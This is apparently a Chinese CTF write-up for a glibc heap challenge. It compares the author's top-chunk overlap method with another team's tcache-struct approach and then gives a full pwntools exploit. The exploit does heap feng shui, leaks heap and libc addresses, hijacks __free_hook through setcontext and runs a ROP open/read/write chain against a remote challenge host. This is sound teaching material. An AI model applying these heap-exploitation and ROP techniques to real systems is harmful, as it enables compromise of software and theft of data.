佛系做题,没想到在RingStar的队伍中拿了这个题目的一血,但是隔壁国际赛的blasn战队好像早就出了。最终RingStar和国际赛道的队伍总共有5支做出来了。

其实题目也是比较简单的。

唔,补充一下,这里我看了r3的wp,发现和我做的不一样,我这里是直接释放的main_arena中保存的top chunk,上下两个相邻的size都是可以通过申请堆块进行伪造的,这样就很容易完成堆重叠的构造了。之后堆风水,泄漏地址,执行rop。

但是r3这里是直接释放的libc前面应该是mmap的一段内存空间中保存的pthread_tcache_struct结构体指针,我在做题的时候只找了libc里面的指针,并没有注意到这块内存。这里在释放pthread_tcache_struct之后就可以很容易的改写fd,然后任意地址分配了,也很方便。

有大佬知道libc前面这段内存是怎么回事请教教弟弟

我的EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
# -*- coding: utf-8 -*-
import logging.handlers
import syslog

from pwn import *

file_path = "./share/chall"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote("1.117.189.158", 60001)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0



def ma_free(size, content=b"\n"):
p.sendline("1")
p.sendline(str(size))
p.send(content)


top_chunk = 0x14e390
top_chunk_size = 0x1c3f0
stdout = 0x36a0
heap_base = 0x3000
free_hook = 0x5b28

ma_free(0x78, p64(0x521)*int(0x78 / 0x8))
ma_free(0x520, p64(0x21) * int(0x520/8))

p.sendline("0")
p.sendline(str(int(top_chunk/8)))

ma_free(0x38)
ma_free(0x98)
ma_free(0x78, p64(0x3e1)*int(0x78 / 0x8))
ma_free(0x38)
ma_free(0xa8)

ma_free(0x380)

ma_free(0x3d0, b"\x00"*0x38 + p64(0xb1) + b"\n")
ma_free(0x98)

ma_free(0x3d0, b"\x00"*0x40 + p8(0) + b"\n")

ma_free(0x3d0, b"\x00"*0x38 + p64(0xa1) + b"\n")
ma_free(0xa8)
ma_free(0x3d0, b"\x00"*0x38 + p64(0x391) + b"\n")
ma_free(0x98)
ma_free(0x3d0, b"\x00"*0x40 + p16(heap_base + 0xd0) + b"\n")

ma_free(0xa8, p64(0)*3 + p64(top_chunk_size) + b"\n")
for i in range(int(0x1000/0x8) - 1):
p.sendline("0")

ma_free(0x50)
ma_free(0x3d0, b"\x00"*0x48 + p64(0x1011-0x30) + b"\n")
ma_free(0x380)
ma_free(0x390)

p.sendline("0")
p.sendline("0")
p.recv(0x38)
heap_address = u64(p.recv(8))
p.recv(0x390)
libc.address = u64(p.recv(8)) - 0x10 - libc.sym['__malloc_hook'] - 96
p.recv()
log.success("heap address is {}".format(hex(heap_address)))
log.success("libc address is {}".format(hex(libc.address)))
ma_free(0x3d0, b"\x00"*0x48 + p64(0x391) + b"\n")
ma_free(0x390)
ma_free(0x3d0, b"\x00"*0x48 + p64(0x391) + p64(libc.sym['__free_hook']) + b"\n")
ma_free(0x3d0, b"\x00"*0x48 + p64(0x3a1) + b"\n")
ma_free(0x380)

# 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
magic = libc.address + 0x0000000000154930

p_rdi_r = 0x0000000000026b72 + libc.address
p_rsi_r = 0x0000000000027529 + libc.address
p_rdx_r12_r = 0x000000000011c371 + libc.address
p_rax_r = 0x000000000004a550 + libc.address
syscall = 0x0000000000066229 + libc.address
ret_add = 0x0000000000025679 + libc.address

orw_address = libc.sym['__free_hook'] + 0xb0
flag_str_address = orw_address + 0x150
flag_address = orw_address + 0x150
orw = flat([
p_rdi_r, flag_str_address,
p_rsi_r, 0,
p_rax_r, 2,
syscall, # open(flag_str_address, 0)
p_rdi_r, 3,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x30, 0,
p_rax_r, 0,
syscall, # read(3, flag_address, 0x30)
p_rdi_r, 1,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x30, 0,
p_rax_r, 1,
syscall # write(1, flag_address, 0x30)
])

payload = p64(magic) + p64(libc.sym['__free_hook']) + p64(0)*2
payload += p64(libc.sym['setcontext'] + 61)
payload = payload.ljust(0xa0, b"\x00") + p64(orw_address) + p64(ret_add)
payload += orw.ljust(0x150, b"\x00") + b"flag-03387efa-0ad7-4aaa-aae0-e44021ad310a\n"

ma_free(0x380, payload)

print(p.recv())

p.interactive()